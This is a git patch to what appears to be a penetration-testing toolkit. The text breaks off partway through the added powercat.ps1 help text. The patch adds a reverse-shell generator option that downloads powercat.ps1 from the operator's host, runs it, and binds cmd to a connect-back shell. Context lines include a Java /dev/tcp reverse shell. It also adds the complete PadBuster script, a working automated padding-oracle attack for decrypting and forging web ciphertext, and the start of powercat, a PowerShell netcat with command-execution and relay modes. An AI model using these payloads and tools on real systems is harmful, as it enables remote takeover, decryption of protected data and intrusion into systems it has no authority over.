From e3ad4d3e531e73c6b60861f23f901d4e10cb4adb Mon Sep 17 00:00:00 2001 From: Roman Hergenreder Date: Thu, 9 Apr 2020 10:36:28 +0200 Subject: [PATCH] Powercat + Padbuster --- genRevShell.py | 4 +- padBuster.pl | 889 ++++++++++++++++++++++++++++++++++++++++++++++ powercat.ps1 | 948 +++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 1840 insertions(+), 1 deletion(-) create mode 100644 padBuster.pl create mode 100644 powercat.ps1 diff --git a/genRevShell.py b/genRevShell.py index 0cd5658..43b9647 100755 --- a/genRevShell.py +++ b/genRevShell.py @@ -33,6 +33,8 @@ def generatePayload(type, local_address, port): return "r = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/%s/%d;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])\np.waitFor()" % (local_address, port) elif type == "xterm": return "xterm -display %s:1" % (local_address) + elif type == "powercat" or type == "powershell": + return "powershell -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\")" % (local_address, local_address, port) if __name__ == "__main__": @@ -48,7 +50,7 @@ if __name__ == "__main__": if payload is None: print("Unknown payload type: %s" % payload_type) - print("Supported types: bash, perl, python[2|3], php, ruby, netcat|nc, java, xterm") + print("Supported types: bash, perl, python[2|3], php, ruby, netcat|nc, java, xterm, powershell") exit(1) tty = "python -c 'import pty; pty.spawn(\"/bin/bash\")'" diff --git a/padBuster.pl b/padBuster.pl new file mode 100644 index 0000000..d3977d2 --- /dev/null +++ b/padBuster.pl @@ -0,0 +1,889 @@ +#!/usr/bin/perl +# +# PadBuster v0.3.3 - Automated script for performing Padding Oracle attacks +# Brian Holyfield - Gotham Digital Science (labs@gdssecurity.com) +# +# Credits to J.Rizzo and T.Duong for providing proof of concept web exploit +# techniques and S.Vaudenay for initial discovery of the attack. Credits also +# to James M. Martin (research@esptl.com) for sharing proof of concept exploit +# code for performing various brute force attack techniques, and wireghoul (Eldar +# Marcussen) for making code quality improvements. +# + +use LWP::UserAgent; +use strict; +use warnings; +use Getopt::Std; +use MIME::Base64; +use URI::Escape; +use Getopt::Long; +use Time::HiRes qw( gettimeofday ); +use Compress::Zlib; +use Crypt::SSLeay; + +# Set defaults with $variable = value +my $logFiles; +my $post; +my $encoding = 0; +my $headers; +my $cookie; +my $error; +my $prefix; +my $intermediaryInput; +my $cipherInput; +my $plainTextInput; +my $encodedPlainTextInput; +my $noEncodeOption; +my $superVerbose; +my $proxy; +my $proxyAuth; +my $noIv; +my $auth; +my $resumeBlock; +my $interactive = 0; +my $bruteForce; +my $ignoreContent; +my $useBody; +my $verbose; + +GetOptions( "log" => \$logFiles, + "post=s" => \$post, + "encoding=s" => \$encoding, + "headers=s" => \$headers, + "cookies=s" => \$cookie, + "error=s" => \$error, + "prefix=s" => \$prefix, + "intermediate=s" => \$intermediaryInput, + "ciphertext=s" => \$cipherInput, + "plaintext=s" => \$plainTextInput, + "encodedtext=s" => \$encodedPlainTextInput, + "noencode" => \$noEncodeOption, + "veryverbose" => \$superVerbose, + "proxy=s" => \$proxy, + "proxyauth=s" => \$proxyAuth, + "noiv" => \$noIv, + "auth=s" => \$auth, + "resume=s" => \$resumeBlock, + "interactive" => \$interactive, + "bruteforce" => \$bruteForce, + "ignorecontent" => \$ignoreContent, + "usebody" => \$useBody, + "verbose" => \$verbose); + +print "\n+-------------------------------------------+\n"; +print "| PadBuster - v0.3.3 |\n"; +print "| Brian Holyfield - Gotham Digital Science |\n"; +print "| labs\@gdssecurity.com |\n"; +print "+-------------------------------------------+\n"; + +if ($#ARGV < 2) { + die " + Use: padBuster.pl URL EncryptedSample BlockSize [options] + + Where: URL = The target URL (and query string if applicable) + EncryptedSample = The encrypted value you want to test. Must + also be present in the URL, PostData or a Cookie + BlockSize = The block size being used by the algorithm + +Options: + -auth [username:password]: HTTP Basic Authentication + -bruteforce: Perform brute force against the first block + -ciphertext [Bytes]: CipherText for Intermediate Bytes (Hex-Encoded) + -cookies [HTTP Cookies]: Cookies (name1=value1; name2=value2) + -encoding [0-4]: Encoding Format of Sample (Default 0) + 0=Base64, 1=Lower HEX, 2=Upper HEX + 3=.NET UrlToken, 4=WebSafe Base64 + -encodedtext [Encoded String]: Data to Encrypt (Encoded) + -error [Error String]: Padding Error Message + -headers [HTTP Headers]: Custom Headers (name1::value1;name2::value2) + -interactive: Prompt for confirmation on decrypted bytes + -intermediate [Bytes]: Intermediate Bytes for CipherText (Hex-Encoded) + -log: Generate log files (creates folder PadBuster.DDMMYY) + -noencode: Do not URL-encode the payload (encoded by default) + -noiv: Sample does not include IV (decrypt first block) + -plaintext [String]: Plain-Text to Encrypt + -post [Post Data]: HTTP Post Data String + -prefix [Prefix]: Prefix bytes to append to each sample (Encoded) + -proxy [address:port]: Use HTTP/S Proxy + -proxyauth [username:password]: Proxy Authentication + -resume [Block Number]: Resume at this block number + -usebody: Use response body content for response analysis phase + -verbose: Be Verbose + -veryverbose: Be Very Verbose (Debug Only) + +";} + +# Ok, if we've made it this far we are ready to begin.. +my $url = $ARGV[0]; +my $sample = $ARGV[1]; +my $blockSize = $ARGV[2]; + +if ($url eq "" || $sample eq "" || $blockSize eq "") { + print "\nERROR: The URL, EncryptedSample and BlockSize cannot be null.\n"; + exit(); +} + +# Hard Coded Inputs +#$post = ""; +#$sample = ""; + +my $method = $post ? "POST" : "GET"; + +# These are file related variables +my $dirName = "PadBuster." . &getTime("F"); +my $dirSlash = "/"; +my $dirCmd = "mkdir "; +if (defined($ENV{'OS'})) { + if ($ENV{OS} =~ /Windows/) { + $dirSlash = "\\"; + $dirCmd = "md "; + } +} +my $dirExists = 0; +my $printStats = 0; +my $requestTracker = 0; +my $timeTracker = 0; + +if ($encoding < 0 || $encoding > 4) { + print "\nERROR: Encoding must be a value between 0 and 4\n"; + exit(); +} +my $encodingFormat = $encoding ? $encoding : 0; + +my $encryptedBytes = $sample; +my $totalRequests = 0; + +# See if the sample needs to be URL decoded, otherwise don't (the plus from B64 will be a problem) +if ($sample =~ /\%/) { + $encryptedBytes = &uri_unescape($encryptedBytes) +} + +# Prep the sample for regex use +$sample = quotemeta $sample; + +# Now decode +$encryptedBytes = &myDecode($encryptedBytes, $encodingFormat); +if ( (length($encryptedBytes) % $blockSize) > 0) { + print "\nERROR: Encrypted Bytes must be evenly divisible by Block Size ($blockSize)\n"; + print " Encrypted sample length is ".int(length($encryptedBytes)).". Double check the Encoding and Block Size.\n"; + exit(); +} + +# If no IV, then append nulls as the IV (only if decrypting) +if ($noIv && !$bruteForce && !$plainTextInput) { + $encryptedBytes = "\x00" x $blockSize . $encryptedBytes; +} + +# PlainTextBytes is where the complete decrypted sample will be stored (decrypt only) +my $plainTextBytes; + +# This is a bool to make sure we know where to replace the sample string +my $wasSampleFound = 0; + +# ForgedBytes is where the complete forged sample will be stored (encrypt only) +my $forgedBytes; + +# Isolate the IV into a separate byte array +my $ivBytes = substr($encryptedBytes, 0, $blockSize); + +# Declare some optional elements for storing the results of the first test iteration +# to help the user if they don't know what the padding error looks like +my @oracleCantidates; +my $oracleSignature = ""; +my %oracleGuesses; +my %responseFileBuffer; + +# The block count should be the sample divided by the blocksize +my $blockCount = int(length($encryptedBytes)) / int($blockSize); + +if (!$bruteForce && !$plainTextInput && $blockCount < 2) { + print "\nERROR: There is only one block. Try again using the -noiv option.\n"; + exit(); +} + +# The attack works by sending in a real cipher text block along with a fake block in front of it +# You only ever need to send two blocks at a time (one real one fake) and just work through +# the sample one block at a time + + +# First, re-issue the original request to let the user know if something is potentially broken +my ($status, $content, $location, $contentLength) = &makeRequest($method, $url, $post, $cookie); + +&myPrint("\nINFO: The original request returned the following",0); +&myPrint("[+] Status: $status",0); +&myPrint("[+] Location: $location",0); +&myPrint("[+] Content Length: $contentLength\n",0); +&myPrint("[+] Response: $content\n",1); + +$plainTextInput = &myDecode($encodedPlainTextInput,$encodingFormat) if $encodedPlainTextInput; + +if ($bruteForce) { + &myPrint("INFO: Starting PadBuster Brute Force Mode",0); + my $bfAttempts = 0; + + print "INFO: Resuming previous brute force at attempt $resumeBlock\n" if $resumeBlock; + + # Only loop through the first 3 bytes...this should be enough as it + # requires 16.5M+ requests + + my @bfSamples; + my $sampleString = "\x00" x 2; + for my $c (0 ... 255) { + substr($sampleString, 0, 1, chr($c)); + for my $d (0 ... 255) { + substr($sampleString, 1, 1, chr($d)); + push (@bfSamples, $sampleString); + } + } + + foreach my $testVal (@bfSamples) { + my $complete = 0; + while ($complete == 0) { + my $repeat = 0; + for my $b (0 ... 255) { + $bfAttempts++; + if ( $resumeBlock && ($bfAttempts < ($resumeBlock - ($resumeBlock % 256)+1)) ) { + #SKIP + } else { + my $testBytes = chr($b).$testVal; + $testBytes .= "\x00" x ($blockSize-3); + + my $combinedBf = $testBytes; + $combinedBf .= $encryptedBytes; + $combinedBf = &myEncode($combinedBf, $encoding); + + # Add the Query String to the URL + my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedBf); + + + # Issue the request + my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies); + + my $signatureData = "$status\t$contentLength\t$location"; + $signatureData = "$status\t$contentLength\t$location\t$content" if $useBody; + + if ($oracleSignature eq "") { + &myPrint("[+] Starting response analysis...\n",0) if ($b ==0); + $oracleGuesses{$signatureData}++; + $responseFileBuffer{$signatureData} = "Status: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content"; + if ($b == 255) { + &myPrint("*** Response Analysis Complete ***\n",0); + &determineSignature(); + $printStats = 1; + $timeTracker = 0; + $requestTracker = 0; + $repeat = 1; + $bfAttempts = 0; + } + } + if ($oracleSignature ne "" && $oracleSignature ne $signatureData) { + &myPrint("\nAttempt $bfAttempts - Status: $status - Content Length: $contentLength\n$testUrl\n",0); + &writeFile("Brute_Force_Attempt_".$bfAttempts.".txt", "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content"); + } + } + } + ($repeat == 1) ? ($complete = 0) : ($complete = 1); + } + } +} elsif ($plainTextInput) { + # ENCRYPT MODE + &myPrint("INFO: Starting PadBuster Encrypt Mode",0); + + # The block count will be the plaintext divided by blocksize (rounded up) + my $blockCount = int(((length($plainTextInput)+1)/$blockSize)+0.99); + &myPrint("[+] Number of Blocks: ".$blockCount."\n",0); + + my $padCount = ($blockSize * $blockCount) - length($plainTextInput); + $plainTextInput.= chr($padCount) x $padCount; + + # SampleBytes is the encrypted text you want to derive intermediate values for, so + # copy the current ciphertext block into sampleBytes + # Note, nulls are used if not provided and the intermediate values are brute forced + + $forgedBytes = $cipherInput ? &myDecode($cipherInput,1) : "\x00" x $blockSize; + my $sampleBytes = $forgedBytes; + + for (my $blockNum = $blockCount; $blockNum > 0; $blockNum--) { + # IntermediaryBytes is where the intermediate bytes produced by the algorithm are stored + my $intermediaryBytes; + + if ($intermediaryInput && $blockNum == $blockCount) { + $intermediaryBytes = &myDecode($intermediaryInput,2); + } else { + $intermediaryBytes = &processBlock($sampleBytes); + } + + # Now XOR the intermediate bytes with the corresponding bytes from the plain-text block + # This will become the next ciphertext block (or IV if the last one) + $sampleBytes = $intermediaryBytes ^ substr($plainTextInput, (($blockNum-1) * $blockSize), $blockSize); + $forgedBytes = $sampleBytes.$forgedBytes; + + &myPrint("\nBlock ".($blockNum)." Results:",0); + &myPrint("[+] New Cipher Text (HEX): ".&myEncode($sampleBytes,1),0); + &myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1)."\n",0); + + } + $forgedBytes = &myEncode($forgedBytes, $encoding); + chomp($forgedBytes); +} else { + # DECRYPT MODE + &myPrint("INFO: Starting PadBuster Decrypt Mode",0); + + if ($resumeBlock) { + &myPrint("INFO: Resuming previous exploit at Block $resumeBlock\n",0); + } else { + $resumeBlock = 1 + } + + # Assume that the IV is included in our sample and that the first block is the IV + for (my $blockNum = ($resumeBlock+1); $blockNum <= $blockCount; $blockNum++) { + # Since the IV is the first block, our block count is artificially inflated by one + &myPrint("*** Starting Block ".($blockNum-1)." of ".($blockCount-1)." ***\n",0); + + # SampleBytes is the encrypted text you want to break, so + # lets copy the current ciphertext block into sampleBytes + my $sampleBytes = substr($encryptedBytes, ($blockNum * $blockSize - $blockSize), $blockSize); + + # IntermediaryBytes is where the the intermediary bytes produced by the algorithm are stored + my $intermediaryBytes = &processBlock($sampleBytes); + + # DecryptedBytes is where the decrypted block is stored + my $decryptedBytes; + + # Now we XOR the decrypted byte with the corresponding byte from the previous block + # (or IV if we are in the first block) to get the actual plain-text + $blockNum == 2 ? $decryptedBytes = $intermediaryBytes ^ $ivBytes : $decryptedBytes = $intermediaryBytes ^ substr($encryptedBytes, (($blockNum - 2) * $blockSize), $blockSize); + + &myPrint("\nBlock ".($blockNum-1)." Results:",0); + &myPrint("[+] Cipher Text (HEX): ".&myEncode($sampleBytes,1),0); + &myPrint("[+] Intermediate Bytes (HEX): ".&myEncode($intermediaryBytes,1),0); + &myPrint("[+] Plain Text: $decryptedBytes\n",0); + $plainTextBytes = $plainTextBytes.$decryptedBytes; + } +} + +&myPrint("-------------------------------------------------------",0); +&myPrint("** Finished ***\n", 0); +if ($plainTextInput) { + &myPrint("[+] Encrypted value is: ".&uri_escape($forgedBytes),0); +} else { + &myPrint("[+] Decrypted value (ASCII): $plainTextBytes\n",0); + &myPrint("[+] Decrypted value (HEX): ".&myEncode($plainTextBytes,2)."\n", 0); + &myPrint("[+] Decrypted value (Base64): ".&myEncode($plainTextBytes,0)."\n", 0); +} +&myPrint("-------------------------------------------------------\n",0); + +sub determineSignature { + # Help the user detect the oracle response if an error string was not provided + # This logic will automatically suggest the response pattern that occured most often + # during the test as this is the most likeley one + + my @sortedGuesses = sort {$oracleGuesses{$a} <=> $oracleGuesses{$b}} keys %oracleGuesses; + + &myPrint("The following response signatures were returned:\n",0); + &myPrint("-------------------------------------------------------",0); + if ($useBody) { + &myPrint("ID#\tFreq\tStatus\tLength\tChksum\tLocation",0); + } else { + &myPrint("ID#\tFreq\tStatus\tLength\tLocation",0); + } + &myPrint("-------------------------------------------------------",0); + + my $id = 1; + + foreach (@sortedGuesses) { + my $line = $id; + ($id == $#sortedGuesses+1 && $#sortedGuesses != 0) ? $line.= " **" : $line.=""; + my @sigFields = split("\t", $_); + $line .= "\t$oracleGuesses{$_}\t$sigFields[0]\t$sigFields[1]"; + $useBody ? ( $line .= "\t".unpack( '%32A*', $sigFields[3] ) ) : $line.=""; + $line .= "\t$sigFields[2]"; + &myPrint($line,0); + &writeFile("Response_Analysis_Signature_".$id.".txt", $responseFileBuffer{$_}); + $id++; + } + &myPrint("-------------------------------------------------------",0); + + if ($#sortedGuesses == 0 && !$bruteForce) { + &myPrint("\nERROR: All of the responses were identical.\n",0); + &myPrint("Double check the Block Size and try again.",0); + exit(); + } else { + my $responseNum = &promptUser("\nEnter an ID that matches the error condition\nNOTE: The ID# marked with ** is recommended"); + &myPrint("\nContinuing test with selection $responseNum\n",0); + $oracleSignature = $sortedGuesses[$responseNum-1]; + } +} + +sub prepRequest { + my ($pUrl, $pPost, $pCookie, $pSample, $pTestBytes) = @_; + + # Prepare the request + my $testUrl = $pUrl; + my $wasSampleFound = 0; + + if ($pUrl =~ /$pSample/) { + $testUrl =~ s/$pSample/$pTestBytes/; + $wasSampleFound = 1; + } + + my $testPost = ""; + if ($pPost) { + $testPost = $pPost; + if ($pPost =~ /$pSample/) { + $testPost =~ s/$pSample/$pTestBytes/; + $wasSampleFound = 1; + } + } + + my $testCookies = ""; + if ($pCookie) { + $testCookies = $pCookie; + if ($pCookie =~ /$pSample/) { + $testCookies =~ s/$pSample/$pTestBytes/; + $wasSampleFound = 1; + } + } + + if ($wasSampleFound == 0) { + &myPrint("ERROR: Encrypted sample was not found in the test request",0); + exit(); + } + return ($testUrl, $testPost, $testCookies); +} + +sub processBlock { + my ($sampleBytes) = @_; + my $analysisMode; + # Analysis mode is either 0 (response analysis) or 1 (exploit) + $analysisMode = (!$error && $oracleSignature eq "") ? 0 : 1; + + # The return value of this subroutine is the intermediate text for the block + my $returnValue; + + my $complete = 0; + my $autoRetry = 0; + my $hasHit = 0; + + while ($complete == 0) { + # Reset the return value + $returnValue = ""; + + my $repeat = 0; + + # TestBytes are the fake bytes that are pre-pending to the cipher test for the padding attack + my $testBytes = "\x00" x $blockSize; + + my $falsePositiveDetector = 0; + + # Work on one byte at a time, starting with the last byte and moving backwards + OUTERLOOP: + for (my $byteNum = $blockSize - 1; $byteNum >= 0; $byteNum--) { + INNERLOOP: + for (my $i = 255; $i >= 0; $i--) { + # Fuzz the test byte + substr($testBytes, $byteNum, 1, chr($i)); + + # Combine the test bytes and the sample + my $combinedTestBytes = $testBytes.$sampleBytes; + + if ($prefix) { + $combinedTestBytes = &myDecode($prefix,$encodingFormat).$combinedTestBytes + } + + $combinedTestBytes = &myEncode($combinedTestBytes, $encodingFormat); + chomp($combinedTestBytes); + + if (! $noEncodeOption) { + $combinedTestBytes = &uri_escape($combinedTestBytes); + } + + my ($testUrl, $testPost, $testCookies) = &prepRequest($url, $post, $cookie, $sample, $combinedTestBytes); + + # Ok, now make the request + + my ($status, $content, $location, $contentLength) = &makeRequest($method, $testUrl, $testPost, $testCookies); + + + my $signatureData = "$status\t$contentLength\t$location"; + $signatureData = "$status\t$contentLength\t$location\t$content" if $useBody; + + # If this is the first block and there is no padding error message defined, then cycle through + # all possible requests and let the user decide what the padding error behavior is. + if ($analysisMode == 0) { + &myPrint("INFO: No error string was provided...starting response analysis\n",0) if ($i == 255); + $oracleGuesses{$signatureData}++; + + $responseFileBuffer{$signatureData} = "URL: $testUrl\nPost Data: $testPost\nCookies: $testCookies\n\nStatus: $status\nLocation: $location\nContent-Length: $contentLength\nContent:\n$content"; + + if ($byteNum == $blockSize - 1 && $i == 0) { + &myPrint("*** Response Analysis Complete ***\n",0); + &determineSignature(); + $analysisMode = 1; + $repeat = 1; + last OUTERLOOP; + } + } + + my $continue = "y"; + + if (($error && $content !~ /$error/) || ($oracleSignature ne "" && $oracleSignature ne $signatureData)) { + # This is for autoretry logic (only works on the first byte) + if ($autoRetry == 1 && ($byteNum == ($blockSize - 1) ) && $hasHit == 0 ) { + $hasHit++; + } else { + # If there was no padding error, then it worked + &myPrint("[+] Success: (".abs($i-256)."/256) [Byte ".($byteNum+1)."]",0); + &myPrint("[+] Test Byte:".&uri_escape(substr($testBytes, $byteNum, 1)),1); + + # If continually getting a hit on attempt zero, then something is probably wrong + $falsePositiveDetector++ if ($i == 255); + + if ($interactive == 1) { + $continue = &promptUser("Do you want to use this value (Yes/No/All)? [y/n/a]","",1); + } + + if ($continue eq "y" || $continue eq "a") { + $interactive = 0 if ($continue eq "a"); + + # Next, calculate the decrypted byte by XORing it with the padding value + my ($currentPaddingByte, $nextPaddingByte); + + # These variables could allow for flexible padding schemes (for now PCKS) + # For PCKS#7, the padding block is equal to chr($blockSize - $byteNum) + $currentPaddingByte = chr($blockSize - $byteNum); + $nextPaddingByte = chr($blockSize - $byteNum + 1); + + my $decryptedByte = substr($testBytes, $byteNum, 1) ^ $currentPaddingByte; + &myPrint("[+] XORing with Padding Char, which is ".&uri_escape($currentPaddingByte),1); + + $returnValue = $decryptedByte.$returnValue; + &myPrint("[+] Decrypted Byte is: ".&uri_escape($decryptedByte),1); + + # Finally, update the test bytes in preparation for the next round, based on the padding used + for (my $k = $byteNum; $k < $blockSize; $k++) { + # First, XOR the current test byte with the padding value for this round to recover the decrypted byte + substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $currentPaddingByte)); + + # Then, XOR it again with the padding byte for the next round + substr($testBytes, $k, 1,(substr($testBytes, $k, 1) ^ $nextPaddingByte)); + } + last INNERLOOP; + } + + } + } + + ## TODO: Combine these two blocks? + if ($i == 0 && $analysisMode == 1) { + # End of the road with no success. We should probably try again. + &myPrint("ERROR: No matching response on [Byte ".($byteNum+1)."]",0); + + if ($autoRetry == 0) { + $autoRetry = 1; + &myPrint(" Automatically trying one more time...",0); + $repeat = 1; + last OUTERLOOP; + + } else { + if (($byteNum == $blockSize - 1) && ($error)) { + &myPrint("\nAre you sure you specified the correct error string?",0); + &myPrint("Try re-running without the -e option to perform a response analysis.\n",0); + } + + $continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1); + if ($continue ne "n") { + &myPrint("INFO: Switching to interactive mode",0); + $interactive = 1; + $repeat = 1; + last OUTERLOOP; + } + } + } + if ($falsePositiveDetector == $blockSize) { + &myPrint("\n*** ERROR: It appears there are false positive results. ***\n",0); + &myPrint("HINT: The most likely cause for this is an incorrect error string.\n",0); + if ($error) { + &myPrint("[+] Check the error string you provided and try again, or consider running",0); + &myPrint("[+] without an error string to perform an automated response analysis.\n",0); + } else { + &myPrint("[+] You may want to consider defining a custom padding error string",0); + &myPrint("[+] instead of the automated response analysis.\n",0); + } + $continue = &promptUser("Do you want to start this block over? (Yes/No)? [y/n/a]","",1); + if ($continue eq "y") { + &myPrint("INFO: Switching to interactive mode",0); + $interactive = 1; + $repeat = 1; + last OUTERLOOP; + } + } + } + } + ($repeat == 1) ? ($complete = 0) : ($complete = 1); + } + return $returnValue; +} + +sub makeRequest { + + my ($method, $url, $data, $cookie) = @_; + my ($noConnect, $lwp, $status, $content, $req, $location, $contentLength); + my $numRetries = 0; + $data ='' unless $data; + $cookie='' unless $cookie; + + $requestTracker++; + do { + #Quick hack to avoid hostname in URL when using a proxy with SSL (this will get re-set later if needed) + $ENV{HTTPS_PROXY} = ""; + + $lwp = LWP::UserAgent->new(env_proxy => 1, + keep_alive => 1, + timeout => 30, + requests_redirectable => [], + ); + + $req = new HTTP::Request $method => $url; + + &myPrint("Request:\n$method\n$url\n$data\n$cookie",0) if $superVerbose; + + # Add request content for POST and PUTS + if ($data) { + $req->content_type('application/x-www-form-urlencoded'); + $req->content($data); + } + + if ($proxy) { + my $proxyUrl = "http://"; + if ($proxyAuth) { + my ($proxyUser, $proxyPass) = split(":",$proxyAuth); + $ENV{HTTPS_PROXY_USERNAME} = $proxyUser; + $ENV{HTTPS_PROXY_PASSWORD} = $proxyPass; + $proxyUrl .= $proxyAuth."@"; + } + $proxyUrl .= $proxy; + $lwp->proxy(['http'], "http://".$proxy); + $ENV{HTTPS_PROXY} = "http://".$proxy; + } + + + if ($auth) { + my ($httpuser, $httppass) = split(/:/,$auth); + $req->authorization_basic($httpuser, $httppass); + } + + # If cookies are defined, add a COOKIE header + if (! $cookie eq "") { + $req->header(Cookie => $cookie); + } + + if ($headers) { + my @customHeaders = split(/;/i,$headers); + for (my $i = 0; $i <= $#customHeaders; $i++) { + my ($headerName, $headerVal) = split(/\::/i,$customHeaders[$i]); + $req->header($headerName, $headerVal); + } + } + + my $startTime = &gettimeofday(); + my $response = $lwp->request($req); + my $endTime = &gettimeofday(); + $timeTracker = $timeTracker + ($endTime - $startTime); + + if ($printStats == 1 && $requestTracker % 250 == 0) { + print "[+] $requestTracker Requests Issued (Avg Request Time: ".(sprintf "%.3f", $timeTracker/100).")\n"; + $timeTracker = 0; + } + + + # Extract the required attributes from the response + $status = substr($response->status_line, 0, 3); + $content = $response->content; + + &myPrint("Response Content:\n$content",0) if $superVerbose; + $location = $response->header("Location"); + if (!$location) { + $location = "N/A"; + } + #$contentLength = $response->header("Content-Length"); + $contentLength = length($content); + + + my $contentEncoding = $response->header("Content-Encoding"); + if ($contentEncoding) { + if ($contentEncoding =~ /GZIP/i ) { + $content = Compress::Zlib::memGunzip($content); + $contentLength = length($content); + } + } + + my $statusMsg = $response->status_line; + #myPrint("Status: $statusMsg, Location: $location, Length: $contentLength",1); + + if ($statusMsg =~ /Can't connect/) { + print "ERROR: $statusMsg\n Retrying in 10 seconds...\n\n"; + $noConnect = 1; + $numRetries++; + sleep 10; + } else { + $noConnect = 0; + $totalRequests++; + } + } until (($noConnect == 0) || ($numRetries >= 15)); + if ($numRetries >= 15) { + &myPrint("ERROR: Number of retries has exceeded 15 attempts...quitting.\n",0); + exit; + } + return ($status, $content, $location, $contentLength); +} + +sub myPrint { + my ($printData, $printLevel) = @_; + $printData .= "\n"; + if (($verbose && $printLevel > 0) || $printLevel < 1 || $superVerbose) { + print $printData; + &writeFile("ActivityLog.txt",$printData); + } +} + +sub myEncode { + my ($toEncode, $format) = @_; + return &encodeDecode($toEncode, 0, $format); +} + +sub myDecode { + my ($toDecode, $format) = @_; + return &encodeDecode($toDecode, 1, $format); +} + +sub encodeDecode { + my ($toEncodeDecode, $oper, $format) = @_; + # Oper: 0=Encode, 1=Decode + # Format: 0=Base64, 1 Hex Lower, 2 Hex Upper, 3=NetUrlToken + my $returnVal = ""; + if ($format == 1 || $format == 2) { + # HEX + if ($oper == 1) { + #Decode + #Always convert to lower when decoding) + $toEncodeDecode = lc($toEncodeDecode); + $returnVal = pack("H*",$toEncodeDecode); + } else { + #Encode + $returnVal = unpack("H*",$toEncodeDecode); + if ($format == 2) { + #Uppercase + $returnVal = uc($returnVal) + } + } + } elsif ($format == 3) { + # NetUrlToken + if ($oper == 1) { + $returnVal = &web64Decode($toEncodeDecode,1); + } else { + $returnVal = &web64Encode($toEncodeDecode,1); + } + } elsif ($format == 4) { + # Web64 + if ($oper == 1) { + $returnVal = &web64Decode($toEncodeDecode,0); + } else { + $returnVal = &web64Encode($toEncodeDecode,0); + } + } else { + # B64 + if ($oper == 1) { + $returnVal = &decode_base64($toEncodeDecode); + } else { + $returnVal = &encode_base64($toEncodeDecode); + $returnVal =~ s/(\r|\n)//g; + } + } + + return $returnVal; +} + + +sub web64Encode { + my ($input, $net) = @_; + # net: 0=No Padding Number, 1=Padding (NetUrlToken) + $input = &encode_base64($input); + $input =~ s/(\r|\n)//g; + $input =~ s/\+/\-/g; + $input =~ s/\//\_/g; + my $count = $input =~ s/\=//g; + $count = 0 if ($count eq ""); + $input.=$count if ($net == 1); + return $input; +} + +sub web64Decode { + my ($input, $net) = @_; + # net: 0=No Padding Number, 1=Padding (NetUrlToken) + $input =~ s/\-/\+/g; + $input =~ s/\_/\//g; + if ($net == 1) { + my $count = chop($input); + $input = $input.("=" x int($count)); + } + return &decode_base64($input); +} + + +sub promptUser { + my($prompt, $default, $yn) = @_; + my $defaultValue = $default ? "[$default]" : ""; + print "$prompt $defaultValue: "; + chomp(my $input = ); + + $input = $input ? $input : $default; + if ($yn) { + if ($input =~ /^y|n|a$/) { + return $input; + } else { + &promptUser($prompt, $default, $yn); + } + } else { + if ($input =~ /^-?\d/ && $input > 0 && $input < 256) { + return $input; + } else { + &promptUser($prompt, $default); + } + } +} + +sub writeFile { + my ($fileName, $fileContent) = @_; + if ($logFiles) { + if ($dirExists != 1) { + system($dirCmd." ".$dirName); + $dirExists = 1; + } + $fileName = $dirName.$dirSlash.$fileName; + open(my $OUTFILE, '>>', $fileName) or die "ERROR: Can't write to file $fileName\n"; + print $OUTFILE $fileContent; + close($OUTFILE); + } +} + +sub getTime { + my ($format) = @_; + my ($second, $minute, $hour, $day, $month, $year, $weekday, $dayofyear, $isDST) = localtime(time); + my @months = ("JAN","FEB","MAR","APR","MAY","JUN","JUL","AUG","SEP","OCT","NOV","DEC"); + my @days = ("SUN","MON","TUE","WED","THU","FRI","SAT"); + $month=sprintf("%02d",$month); + $day=sprintf("%02d",$day); + $hour=sprintf("%02d",$hour); + $minute=sprintf("%02d",$minute); + $second=sprintf("%02d", $second); + $year =~ s/^.//; + if ($format eq "F") { + return $day.$months[$month].$year."-".( ($hour * 3600) + ($minute * 60) + ($second) ); + } elsif ($format eq "S") { + return $months[$month]." ".$day.", 20".$year." at ".$hour.":".$minute.":".$second; + } else { + return $hour.":".$minute.":".$second; + } +} + diff --git a/powercat.ps1 b/powercat.ps1 new file mode 100644 index 0000000..03947dd --- /dev/null +++ b/powercat.ps1 @@ -0,0 +1,948 @@ +function powercat +{ + param( + [alias("Client")][string]$c="", + [alias("Listen")][switch]$l=$False, + [alias("Port")][Parameter(Position=-1)][string]$p="", + [alias("Execute")][string]$e="", + [alias("ExecutePowershell")][switch]$ep=$False, + [alias("Relay")][string]$r="", + [alias("UDP")][switch]$u=$False, + [alias("dnscat2")][string]$dns="", + [alias("DNSFailureThreshold")][int32]$dnsft=10, + [alias("Timeout")][int32]$t=60, + [Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null, + [ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host", + [alias("OutputFile")][string]$of="", + [alias("Disconnect")][switch]$d=$False, + [alias("Repeater")][switch]$rep=$False, + [alias("GeneratePayload")][switch]$g=$False, + [alias("GenerateEncoded")][switch]$ge=$False, + [alias("Help")][switch]$h=$False + ) + + ############### HELP ############### + $Help = " +powercat - Netcat, The Powershell Version +Github Repository: https://github.com/besimorhino/powercat + +This script attempts to implement the features of netcat in a powershell +script. It also contains extra features such as built-in relays, execute +powershell, and a dnscat2 client. + +Usage: powercat [-c or -l] [-p port] [options] + + -c Client Mode. Provide the IP of the system you wish to connect to. + If you are using -dns, specify the DNS Server to send queries to. + + -l Listen Mode. Start a listener on the port specified by -p. + + -p Port. The port to connect to, or the port to listen on. + + -e Execute. Specify the name of the process to start. + + -ep Execute Powershell. Start a pseudo powershell session. You can + declare variables and execute commands, but if you try to enter + another shell (nslookup, netsh, cmd, etc.) the shell will hang. + + -r Relay. Used for relaying network traffic between two nodes. + Client Relay Format: -r :: + Listener Relay Format: -r : + DNSCat2 Relay Format: -r dns::: + + -u UDP Mode. Send traffic over UDP. Because it's UDP, the client + must send data before the server can respond. + + -dns DNS Mode. Send traffic over the dnscat2 dns 